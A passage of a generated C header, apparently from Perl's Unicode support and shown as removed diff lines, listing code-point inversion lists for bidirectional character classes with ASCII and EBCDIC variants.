/* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x23, - 0x26, - 0xA2, - 0xA6, - 0xB0, - 0xB2, - 0x58F, - 0x590, - 0x609, - 0x60B, - 0x66A, - 0x66B, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x2030, - 0x2035, - 0x20A0, - 0x20D0, - 0x212E, - 0x212F, - 0x2213, - 0x2214, - 0xA838, - 0xA83A, - 0xFE5F, - 0xFE60, - 0xFE69, - 0xFE6B, - 0xFF03, - 0xFF06, - 0xFFE0, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__ET_invlist[] = { /* for EBCDIC 1047 */ - 53, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x4B, - 0x5B, - 0x5C, - 0x6C, - 0x6D, - 0x7B, - 0x7C, - 0x8F, - 0x91, - 0x9F, - 0xA0, - 0xB1, - 0xB3, - 0x58F, - 0x590, - 0x609, - 0x60B, - 0x66A, - 0x66B, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x2030, - 0x2035, - 0x20A0, - 0x20D0, - 0x212E, - 0x212F, - 0x2213, - 0x2214, - 0xA838, - 0xA83A, - 0xFE5F, - 0xFE60, - 0xFE69, - 0xFE6B, - 0xFF03, - 0xFF06, - 0xFFE0, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__ET_invlist[] = { /* for EBCDIC 037 */ - 53, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x4B, - 0x5B, - 0x5C, - 0x6C, - 0x6D, - 0x7B, - 0x7C, - 0x8F, - 0x91, - 0x9F, - 0xA0, - 0xB1, - 0xB3, - 0x58F, - 0x590, - 0x609, - 0x60B, - 0x66A, - 0x66B, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x2030, - 0x2035, - 0x20A0, - 0x20D0, - 0x212E, - 0x212F, - 0x2213, - 0x2214, - 0xA838, - 0xA83A, - 0xFE5F, - 0xFE60, - 0xFE69, - 0xFE6B, - 0xFF03, - 0xFF06, - 0xFFE0, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_BC__FSI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2068, - 0x2069 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__L_invlist[] = { /* for ASCII/Latin1 */ - 860, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2BB, - 0x2C2, - 0x2D0, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EE, - 0x2EF, - 0x370, - 0x374, - 0x376, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3F6, - 0x3F7, - 0x483, - 0x48A, - 0x58A, - 0x58B, - 0x58D, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAF1, - 0xAF2, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xBF3, - 0xBFB, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC78, - 0xC7F, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE3F, - 0xE40, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3E, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1390, - 0x139A, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x169D, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DB, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1946, - 0x19DE, - 0x1A00, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200E, - 0x200F, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20F1, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x2150, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2336, - 0x237B, - 0x2395, - 0x2396, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x249C, - 0x24EA, - 0x26AC, - 0x26AD, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF9, - 0x2D00, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3040, - 0x3099, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x31C0, - 0x31E4, - 0x321D, - 0x321F, - 0x3250, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA60D, - 0xA610, - 0xA66F, - 0xA680, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA700, - 0xA722, - 0xA788, - 0xA789, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA828, - 0xA82C, - 0xA838, - 0xA83A, - 0xA874, - 0xA878, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1D, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF0, - 0x10000, - 0x10101, - 0x10102, - 0x10140, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102FC, - 0x10376, - 0x1037B, - 0x10800, - 0x11000, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x11052, - 0x11066, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x11660, - 0x1166D, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F16A, - 0x1F16C, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE1000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__L_invlist[] = { /* for EBCDIC 1047 */ - 886, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2BB, - 0x2C2, - 0x2D0, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EE, - 0x2EF, - 0x370, - 0x374, - 0x376, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3F6, - 0x3F7, - 0x483, - 0x48A, - 0x58A, - 0x58B, - 0x58D, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAF1, - 0xAF2, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xBF3, - 0xBFB, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC78, - 0xC7F, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE3F, - 0xE40, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3E, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1390, - 0x139A, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x169D, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DB, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1946, - 0x19DE, - 0x1A00, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200E, - 0x200F, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20F1, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x2150, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2336, - 0x237B, - 0x2395, - 0x2396, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x249C, - 0x24EA, - 0x26AC, - 0x26AD, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF9, - 0x2D00, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3040, - 0x3099, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x31C0, - 0x31E4, - 0x321D, - 0x321F, - 0x3250, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA60D, - 0xA610, - 0xA66F, - 0xA680, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA700, - 0xA722, - 0xA788, - 0xA789, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA828, - 0xA82C, - 0xA838, - 0xA83A, - 0xA874, - 0xA878, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1D, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF0, - 0x10000, - 0x10101, - 0x10102, - 0x10140, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102FC, - 0x10376, - 0x1037B, - 0x10800, - 0x11000, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x11052, - 0x11066, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x11660, - 0x1166D, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 